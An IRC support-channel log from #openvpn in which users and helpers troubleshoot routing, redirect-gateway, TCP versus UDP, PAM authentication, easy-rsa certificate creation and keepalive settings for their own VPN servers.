09:26 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
09:26 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
09:27 < stan_man_can> rob0: so then it goes on my client?
09:27 < rob0> You're overestimating my magical abilities.
09:29 < rufianw> I got it to connect... on TCP.
09:29 < stan_man_can> i'm just trying to get it working so I can use my openvpn server as a proxy server so I can have a US ip
09:29 < stan_man_can> i can connect to the openvpn server just fine, but haven't got the ipforwarding part owrking
09:29 < stan_man_can> i did !def1
09:29 < stan_man_can> !def1
09:29 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:30 < rob0> !redirect 4
09:30 < rob0> !redirect 3
09:30 < rob0> !redirect
09:30 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:30 <@vpnHelper> http://ircpimps.org/redirect.png
09:30 < rob0> #4, flowchart
09:31 < rufianw> Ok, it works only in TCP. I don't mind really. Is there any reason to use UDP?
09:32 < rob0> !tcp
09:32 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
09:32 < stan_man_can> !def1
09:32 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:32 < rufianw> :\
09:33 < stan_man_can> wait, does the pursh redirect-gatway go on the client or server?
09:34 < rob0> --push is to set client directives server-side.
09:36 -!- _quadDam1ge is now known as _quadDamage
09:37 < stan_man_can> whenever I add the push "dhcp-option DNS 10.8.0.1" directive my connection to the openvpn server continually connects
09:38 < rufianw> Well, it seems it won't work with UDP, so I'll carry on with TCP.
09:39 < rufianw> Next step: Can I set up a bridged VPN without auth nor encryption?
09:40 -!- stan_man_can [~stan_man_@d75-155-220-99.bchsia.telus.net] has quit [Quit: stan_man_can]
09:45 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:50 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
09:50 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:52 < TheWarden> rob0: oh okay mmmm
09:52 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
09:53 -!- HyperGlide [~HyperGlid@221.237.121.63] has quit [Remote host closed the connection]
09:58 < TheWarden> In order to use the openvpn-plugin-auth-pam one must have auth-user-pass-verify and plugin /usr/lib/openvpn/plugins/openvpn-plugin-auth-pam.so service-type and plugin /usr/lib/openvpn/plugins/openvpn-plugin-auth-pam.so "login login USERNAME password PASSWORD" ?
10:06 < rufianw> Hmm... I managed modifying the test connection script to do it, but it only allows one client.
10:08 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
10:08 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
10:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
10:08 -!- mode/#openvpn [+o mattock] by ChanServ
10:08 < TheWarden> there must be some instructions some where on how to achieve this OpenVPN PAM authentication to active directory. I don't even know if I have things setup properly to even achieve this.
10:09 < TheWarden> I've been following this as this has been the only resource I've found that some what explains the situation yet some how I don't think it has everything in order for it to work.
10:10 < rufianw> This is the output of the client: http://dpaste.de/ftqkO/
10:10 < rufianw> The server does not show anything special. Not even it received a new connection.
10:11 < TheWarden> so frustrating.... there has to be someone out there that has done this.
10:13 < TheWarden> I wonder would this even apply to OpenVPN 2.3.0. https://www.packtpub.com/openvpn-2-cookbook/book ? I believe the book was written for OpenVPN v2.2.0....
10:13 <@vpnHelper> Title: OpenVPN 2 Cookbook | Packt Publishing (at www.packtpub.com)
10:13 < rufianw> "OpenVPN as a , forking TCP server which can service multiple clients over a single TCP port?" <<< this is in tha FAQ. I'll check it...
10:14 -!- pulz [geir@winning.no] has quit [Read error: Operation timed out]
10:14 -!- pulz [geir@winning.no] has joined #openvpn
10:20 -!- raidz_away is now known as raidz
10:23 < TheWarden> argh so can someone tell me this, does one use PAM plugin as a replacement for auth-user-pass-verify or does one need to use the PAM plugin and the auth-user-pass-verify?
10:27 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
10:30 < rufianw> "--inetd nowait can only be used in TLS mode" <<< why?
10:41 -!- DBordello [~DBordello@unaffiliated/dbordello] has left #openvpn ["Leaving"]
10:50 < rufianw> "--mode server requires --tls-server" <<< is it me, or OpenVPN won't let me do almost anything "insecurely"?
10:50 < rufianw> I do not want to create keys and give each user a key.
10:59 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 252 seconds]
11:00 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
11:04 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
11:20 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
11:21 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:34 < jzaw> yea! \0/      its working
11:37 < jzaw> pastebin say ive reached my 25 unlisted pastes
11:37 < jzaw> upgrade now $2 a month
11:37 < jzaw> whats a good free paste type site?
11:37 < jzaw> oops sorry wrong channel
11:37 < hazardous> zerobin
11:37 < hazardous> sebsauvage.net/paste/
11:38 < jzaw> or not as the case may be ... turns out to be the right channel
11:38 < jzaw> :D
11:38 < jzaw> thanks
11:38  * jzaw very pleased with new vpn 
11:38  * hazardous very pleased with novaflash 
11:38  * novaflash very hazardous with hazard's ass
11:38 < jzaw> but if you do use m0n0wall or openwrt ... pls get yourself a big 2x4 to bash them with
11:39 <@novaflash> jzaw: what's with monowall..?
11:39 < jzaw> similar to openwrt
11:39 <@ecrist> jzaw: stop posting unlisted pastes
11:39 < jzaw> firewall router s/w
11:39 < jzaw> ecrist, i could do that
11:39 <@ecrist> seems easy enough to me
11:39 <@ecrist> !topsecret
11:39 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
11:39 < jzaw> but id be embarrased if ppls saw some of my errors in scripts etc
11:40 <@ecrist> get over it
11:40 <@ecrist> :)
11:40 < jzaw> true true
11:40 <@ecrist> OR pay the $2
11:40 <@novaflash> yes we prefer to see people embarrassed
11:40  * jzaw blushes
11:43 < jzaw> novaflash, ah i just re-read your question .... m0n0wall ... running a ovpn server on a box behind m0n0wall ... you set a static route back to the server .... allow traffic on the lan port
11:43 < jzaw> but no go
11:44 < jzaw> i didnt read too much deeper after i found the right setting ... something to do with icmp-redrect (or maybe not but googling that topic found the answer) t
11:44 < jzaw> theres a setting
11:44 < jzaw> ...
11:44 < jzaw> http://photos.dzki.co.uk/m0n0wall_adv_setting_bypass_fw_same_interface.png
11:44 -!- eggy [uid554@gateway/web/irccloud.com/x-parhtlctkgnhjhaw] has joined #openvpn
11:44 < jzaw> you have to tick that .. then it works
11:45 < jzaw> with openwrt the usual iptables FORWARD tap br-lan     and br-lan tap     and tap tap
11:47 < eggy> so.. I have openvpn setup on a separate 192.168.7.0/255.255.255.0 subnet; my lan is on 192.168.1.0/255.255.255.0 subnet.. how do I set it up so my vpn clients have access to this subnet? Would I need to setup a bridge?
11:49 < jzaw> eggy .... (im new to the whole vpn thing )    but ive found bridge vvvvvvv hard to get right and ive not had it going at all
11:49 < jzaw> i got routed tun working first
11:49 < jzaw> then just tried routed tap
11:50 < eggy> I've got my openvpn subnet working fine, haven't figured out how to introduce the secondary subnet.
11:50 < jzaw> is your vpn routed ?   tap ? tun?
11:51 < eggy> tun, using the subnet type setting. openvpn seems to figure out the reset for me.
11:52 < eggy> reading a guide, I might be able to accomplish what I want using iptables actually.
11:54 < jzaw> wouldnt it just be routing?
11:58 -!- rufianw [~ntrrgc@79.109.52.159.dyn.user.ono.com] has quit [Quit: Konversation terminated!]
11:58 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:58 < rob0> iptables cannot fix broken routing, but it certainly can break working routes!
11:58 -!- AsadH is now known as zz_AsadH
12:06 -!- dzubey [~dzubey@68.14.254.195] has joined #openvpn
12:11 < eggy> I'm assuming so, but I don't know what the problem is.
12:11 < eggy> according to this: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
12:11 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
12:11 < eggy> It should be working :/
12:12 < rob0> According to /topic, your problem is your firewall, really.
12:12 < rob0> !iptables
12:12 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
12:12 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
12:14 < TheWarden> okay, I've just exhausted all options that I can find or understand.
12:14 -!- brute11k [~brute@89.249.231.109] has joined #openvpn
12:15 -!- rooth_ [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Read error: Operation timed out]
12:15 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
12:17 < TheWarden_> Do I achieve this with PAM or LDAP plugin or a script? or all three? If its all three which is the easyest? I can't find any instructions on specifics on the subject. I've read and read... please just point me into the right direction at least.
12:17 -!- TheWarden is now known as Guest88343
12:18 -!- Guest88343 [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 245 seconds]
12:21 < eggy> figured it out, was a 'firewall' issue actually ;(
12:21 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
12:26 -!- JSharpe [~JSharpe@5.63.146.148] has joined #openvpn
12:28 -!- jpalmer [~jpalmer@unaffiliated/jpalmer] has joined #openvpn
12:29 < jpalmer> hey guys.  I have to use openvpn with tcp.   but I'm having an issue where when the connection drops, the client doesn't realize it.  so it doesn't tear it down and reconnect.  I've seen a couple keepalive settings.  but not sure which one I need to determien when the link is dead.
12:33 < jpalmer> I'm thinking of doing keepalive 30 120 but would like confirmation that it's going to do what I think.
12:37 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
13:13 <@ecrist> should work.
13:21 -!- eggy [uid554@gateway/web/irccloud.com/x-parhtlctkgnhjhaw] has left #openvpn []
13:32 -!- joeblow750 [~Adium@host86-180-155-170.range86-180.btcentralplus.com] has joined #openvpn
13:34 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
13:37 -!- raidz is now known as raidz_away
13:42 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
13:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:47 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
13:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
13:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:53 < jpalmer> thanks ecrist
13:55 <@ecrist> np
13:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:00 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Remote host closed the connection]
14:00 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
14:05 -!- joeblow750 [~Adium@host86-180-155-170.range86-180.btcentralplus.com] has quit [Ping timeout: 252 seconds]
14:11 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:21 -!- staticsafe [staticsafe@unaffiliated/staticsafe] has joined #openvpn
14:30 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
14:30 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has joined #openvpn
14:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
14:39 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
15:08 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
15:09 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Remote host closed the connection]
15:17 < jzaw> would it be wrong to have non rfc1918 ips on a LAN of a gw router (and dhcp handing them out to lan client)
15:17 -!- JSharpe_ [~JSharpe@5.63.146.148] has joined #openvpn
15:17 -!- JSharpe [~JSharpe@5.63.146.148] has quit [Read error: Connection reset by peer]
15:17 -!- fogus [~fogus@pool-108-21-49-67.nycmny.fios.verizon.net] has joined #openvpn
15:17 < jzaw> and then vpn to a no nat network to which to whose gw those ips are routed
15:17 < jzaw> and then go down the vpn
15:18 < pekster> jzaw: Nothing wrong at all with that, provided you own the IPs your allocating
15:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
15:18 < jzaw> but those non rfc1918 ips are behind nat
15:18 < fogus> Hello.  I have openvpn installed and I need to add a new user.  I looked through man openvpn... how can I see what version of openvpn I am running?
15:18 < jzaw> pekster, yes mine from my isp
15:18 < jzaw> ive got it going ... its working exactly how i wanted
15:18 < pekster> Sure, then they're yours to do as you see fit. Using public IPs has benefits as you've pointed out with avoiding the need for NAT
15:18 < jzaw> try ping fuji-pl.dzki.co.uk
15:19 < pekster> 100% loss
15:19 < jzaw> yeah?
15:19 < jzaw> hmm
15:19 < jzaw> good test
15:19 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
15:19 < jzaw> i needed to test from without
15:19 < jzaw> cos so far ive been within
15:19 < pekster> http://paste.kde.org/696626/
15:20 < pekster> Oh, hang on, more hops showed up
15:20 < jzaw> thats going to be firewall ?
15:20 -!- Devastator [~devas@186.214.110.30] has joined #openvpn
15:20 < pekster> http://paste.kde.org/696632/
15:20 < jzaw> gosh that a lot of hops
15:20 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Remote host closed the connection]
15:20 < fogus> How can I add a user to this openvpn?  The existing users do not have linux accounts on this machine.  I don't know how they were created in the first place.  I don't see a web UI.  I can't find an openvpn command that allows mem to add a user.
15:21 < fogus> Some users do not even appear to have keys within /etc/openvpn/keys.
15:21 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has joined #openvpn
15:21 < jzaw> thats an interesting route pekster
15:21 < pekster> fogus: OpenVPN does not come with a web UI. If you're using the non-free commercial Access Server product, you want their channel, #openvpn-as
15:21 < jzaw> im begining to majorly dislike m0n0wall
15:21 < fogus> No, then I believe I am in the right channel, pekster.
15:21 < rob0> !howto
15:21 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:22 < pekster> fogus: Oh, "don't see", sorry mis-read that
15:22 < rob0> Generally an openvpn server will use TLS certificate authentication.
15:22 < rob0> fogus, who set this up for you?
15:22 < fogus> the previous admin.
15:23 < rob0> ah, well, let's hope he documented things for you.
15:23 < fogus> nope :)
15:23 < rob0> If you can't find where he ran his TLS CA, you'll have to start from scratch.
15:24 < pekster> Unless it's set up to use user-pass and no client certs, then you need to add the user to whatever backend auth system is being used
15:24 < pekster> (that would be outside of openvpn at that point)
15:24 < fogus> I'm looking for the steps that would be required to add a user in general.  Then I will use `history` and `find` as with other problems I have faced I assume.
15:25 < pekster> See the howto for the certificate process
15:25 < fogus> it looks like he tried ldap at one point but may have given up
15:25 < pekster> If you're using --auth-user-pass-verify, the way to add users is not part of openvpn
15:25 < fogus> "Setting up your own Certificate Authority (CA) and generating certificates and keys for an OpenVPN server and multiple clients" ?
15:25 < rob0> well, "history" as root would not make sense. The CA should not even be on the server machine, really.
15:25 < fogus> Then it probably is.
15:25 < rob0> (and definitely not owned by root on any machine.)
15:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:26 < fogus> yep, it is.
15:27 < pekster> PKI files owned by root isn't strictly the problem, but it becomes one when you do all your PKI interaction by calling programs needlessly as root
15:27 < fogus> I see, ok.
15:27 < pekster> (since root can access any file anyway, it's not permissions but the implication of execution that's bad for security)
15:28 < fogus> Is /usr/share/doc/openvpn/examples/easy-rsa/2.0/build-key what I'm after then?
15:28 < fogus> `which build-key` returns nothing
15:29 < pekster> Probably, although you shouldn't be running your PKI out of the /usr/share/doc/ subdirectory. You should have made a copy somewhere else so your next distro software upgrade doesn't wipe out your local changes
15:29 < fogus> That sounds like something intelligent.
15:29 < rob0> Again, ideally: as a non-root user on a non-VPN machine.
15:30 < fogus> So, when my Mac-running user asks to get in the VPN, I have to send him a generated private key?
15:30 -!- raidz_away is now known as raidz
15:31 < fogus> I mean, is that one way of doing it?
15:31 < pekster> In short, yes. "Even better" security is to have a way to generate the keypair on the client device, have the client send a certificate signing request (CSR, sometimes called a .req file) to the CA, the CA signs it, and sends back the certificate. Many people use the Easy-RSA 2.x stuff to build the key on the system and send it to the client. It's easier, but less secure as someone else has the private key and password
15:32 < fogus> Gotcha, that's what the paragraph starting with "The answer is ostensibly yes. In the example above..." says?
15:32 < rob0> ^^
15:34 < fogus> Ok.  and the "./build-dh" command, that must have been already run and the output files in place for this server to be presently serving VPN users?
15:34 < pekster> That's a one-time operation, just like creating your CA keypair
15:34 < pekster> You can change DH params any time you want; only the server uses that, and it's not consisdered private information
15:35 < fogus> The server does not have a username associated with these client keys, does it?
15:36 < pekster> The server references the CN (the certificate's "Common Name") as the unique identity of the user
15:38 < fogus> Does the user have to put that CN in his client software?
15:39 < pekster> Nope, it's included in the certificate itself
15:42 < pekster> Here's a small sample from a test cert I generated in my testing: http://paste.kde.org/696716/
15:42 < pekster> In that example, the cert CN is "client1" and the issuing CA is "Easy-RSA CA"
15:49 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 264 seconds]
15:54 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
15:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
16:03 -!- dazo is now known as dazo_afk
16:03 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
16:03 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
16:09 -!- KaiForce [~chatzilla@adsl-70-228-81-145.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
16:15 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 252 seconds]
16:16 -!- Orbi [~opera@anon-163-5.vpn.ipredator.se] has left #openvpn []
16:27 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has joined #openvpn
16:30 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
16:30 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Read error: Connection reset by peer]
16:31 -!- staticsafe [staticsafe@unaffiliated/staticsafe] has left #openvpn ["WeeChat 0.4.0"]
16:36 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
16:39 -!- JSharpe_ is now known as JSharpe
16:39 -!- kubbing [~kubbing@89.177.146.18] has joined #openvpn
16:41 < jzaw> pekster, ive been looking at that traceroute
16:42 < jzaw> and its got me baffled .... surely if i can ping / browse / email down the vpn
16:42 < jzaw> from the client end
16:42 < Nemus> !ifconfig
16:42 <@vpnHelper> "ifconfig" is usage: ifconfig l rn | Set TUN/TAP adapter parameters. l is the IP address of the local VPN endpoint. For TUN devices, rn is the IP address of the remote VPN endpoint. For TAP devices, rn is the subnet mask of the virtual ethernet segment which is being created or connected to.
16:42 < jzaw> and i can ping from lan side of router and all lan clients on the server end
16:43 < jzaw> ive got my routes right?
16:46 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has quit [Read error: Connection reset by peer]
16:47 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has joined #openvpn
16:47 < pekster> jzaw: If you're not using redirect-gateway, the reply might be asymettrically routed as the client will respond to my public IP sending the ping out its native connection, not the VPN
16:47 < pekster> If it is, chances are a firewall has blocked it at some point along the path
16:49 < pekster> Note that the traceroute was done using ICMP echo-request packets, not the traditional UDP packets (since you asked for a ping, I figured I might as well just trace with pings too for you)
16:50 -!- p3rror [~mezgani@41.248.140.203] has joined #openvpn
16:51 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has quit [Read error: Connection reset by peer]
16:51 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has joined #openvpn
16:58 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has quit [Read error: Connection reset by peer]
16:59 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has joined #openvpn
17:01 -!- JSharpe [~JSharpe@5.63.146.148] has quit [Quit: Leaving]
17:07 -!- Camicio [~Camicio@177-162.195-178.cust.bluewin.ch] has quit [Ping timeout: 258 seconds]
17:10 -!- kubbing [~kubbing@89.177.146.18] has quit [Remote host closed the connection]
17:16 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
17:19 -!- joeblow750 [~Adium@cpc13-haye17-2-0-cust143.haye.cable.virginmedia.com] has joined #openvpn
17:20 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
17:24 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
17:32 < jzaw> <pekster> jzaw: If you're not using redirect-gateway, the reply might be asymettrically routed as the client will respond to my public IP sending the ping out its native connection, not the VPN
17:32 < jzaw> ahhhh that makes v good sense
17:33 < jzaw> my main problem from here is im remote to the home lan .... and these things need testing from without rather than within the network
17:33 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:33 < jzaw> if youve time can you do a trace using udp ?
17:33 < pekster> Get a remote shell somewhere. I'm not sure what tools the normal 'users' group gets, but SDF (at sdf.org, aka freeshell.org) has free shell accounts. Well, "free" although they do ask for a $1 donation to keep out spam
17:34 < pekster> Sure, I'm about to leave for the afternoon, but let me get you a UDP trace
17:35 < jzaw> i have seen them pekster i was wondering if they were *safe*
17:35 < jzaw> ie later inundate you with spam
17:36 < jzaw> but of course i can just use a throwaway alias on my email
17:36 < pekster> They're fine. They're also old as dirt
17:36 < pekster> No, the guy who runs it (smj, Stephen Johnson IIRC) is one of the good guys
17:36 < jzaw> :)
17:36 < pekster> And since they've been around forever, you can get a gopher page set up ;)
17:37 < pekster> It's worth donating at least the $1, and honestly, a one-time donation of $36 to become part of the 'ARPA' group is reall worth it too
17:37 < pekster> I did that several years ago, and best $36 one-time fee for shell access you'll find a lot of places
17:38 < pekster> http://paste.kde.org/696878/
17:38 < jzaw> nice!
17:38 < pekster> Looks like your systems (the vpn. and further in) did reply to the ping, but they drop traceroute traffic
17:38  * pekster disappears
17:39 < jzaw> i did a one time donation years ago to dyndns as it was back then ... well i did 2x ... and ive got two permanent no cost real domains with them
17:39 < jzaw> useful for playing
17:40 < jzaw> can you tell whats dropping stuff at hop18?
17:40 < jzaw> ah hes gone ta for now
17:40 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:02 -!- joeblow750 [~Adium@cpc13-haye17-2-0-cust143.haye.cable.virginmedia.com] has quit [Quit: Leaving.]
18:08 -!- speed_racer8 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
18:14 -!- brute11k [~brute@89.249.231.109] has quit [Read error: Connection reset by peer]
18:17 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
18:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
18:40 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:40 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:41 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
18:41 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
18:46 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:48 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
19:00 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Ping timeout: 264 seconds]
19:02 -!- p3rror [~mezgani@41.248.140.203] has quit [Ping timeout: 258 seconds]
19:35 -!- raidz is now known as raidz_away
19:38 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:41 -!- rickbol [~rickbol@173-132-103-55.pools.spcsdns.net] has joined #openvpn
19:49 -!- rickbol [~rickbol@173-132-103-55.pools.spcsdns.net] has quit [Read error: Connection reset by peer]
19:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
20:02 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:05 -!- rickbol [~rickbol@cpe-174-096-184-106.carolina.res.rr.com] has joined #openvpn
20:15 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
20:31 -!- MeanderingCode [~Meanderin@199.254.238.206] has joined #openvpn
20:35 < nutcase> my openvpn suddenly seems to have stopped working O.o
20:35 < nutcase> I can connect to the server and do anything internally on the server but its not routing trafic outside of its own little network
20:43 -!- fogus [~fogus@pool-108-21-49-67.nycmny.fios.verizon.net] has left #openvpn ["WHO #dordt-cs"]
20:53 -!- Devastator [~devas@186.214.110.30] has quit [Changing host]
20:53 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:04 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
21:04 < hrenovo> hi. new openvpn installation here on debian 6.0.7. So openvpn service starts and I can confirm that it is listening on netstat -anp | grep :1194
21:04 < hrenovo> but
21:05 < hrenovo> telnet localhost 1194 returns telnet: Unable to connect to remote host: Connection refused
21:05 < jpalmer> does it show *:1194  or 0.0.0.0:1194?
21:06 < jpalmer> paste the output of your "netstat -anp | grep :1194"
21:06 < hrenovo> jpalmer: thanks on it
21:07 < rob0> um, is that TCP or UDP? I thought udp was -u and tcp was -t
21:07 < hrenovo> http://fpaste.org/w4zK/
21:07 < rob0> anyway, telnet(1) is TCP. You can test UDP with nc(1)
21:08 < hrenovo> jpalmer: different port
21:08 < hrenovo> jpalmer: forget 1194, its port 1337
21:08 < jpalmer> hrenovo: ok,  so,  you'd need to connect to that port.  and as rob0 rightly pointed out, telnet won't work, since you are using udp
21:09 < jpalmer> which also means, if you have a firewall in place..  you need to open that port for udp traffic,  not tcp traffic
21:09 < hrenovo> so its all fine ?
21:09 < hrenovo> http://fpaste.org/pJDW/
21:10 < jpalmer> looks fine, from that.    have you tried connecting a client?
21:10 < hrenovo> no not yet
21:10 < jpalmer> (but the interface being up, doesn't necessarily mean it's working as expected)
21:10 < hrenovo> ah I see
21:11 < hrenovo> I will isntall the client now
21:11 < hrenovo> or should I try from another linux box ?
21:12 < jpalmer> I'd do it from the.. client you want conencted to the vpn server
21:13 < hrenovo> i've used openvpn over 2 years ago so please forgive me
21:14 < hrenovo> openvpn server is a debian box
21:14 < hrenovo> client will be centos
21:14 < hrenovo> i hope its not a problem
21:20 < jpalmer> it's not.
21:27 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
21:27 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
21:31 < hrenovo> jpalmer: hmm. configured the client in centos
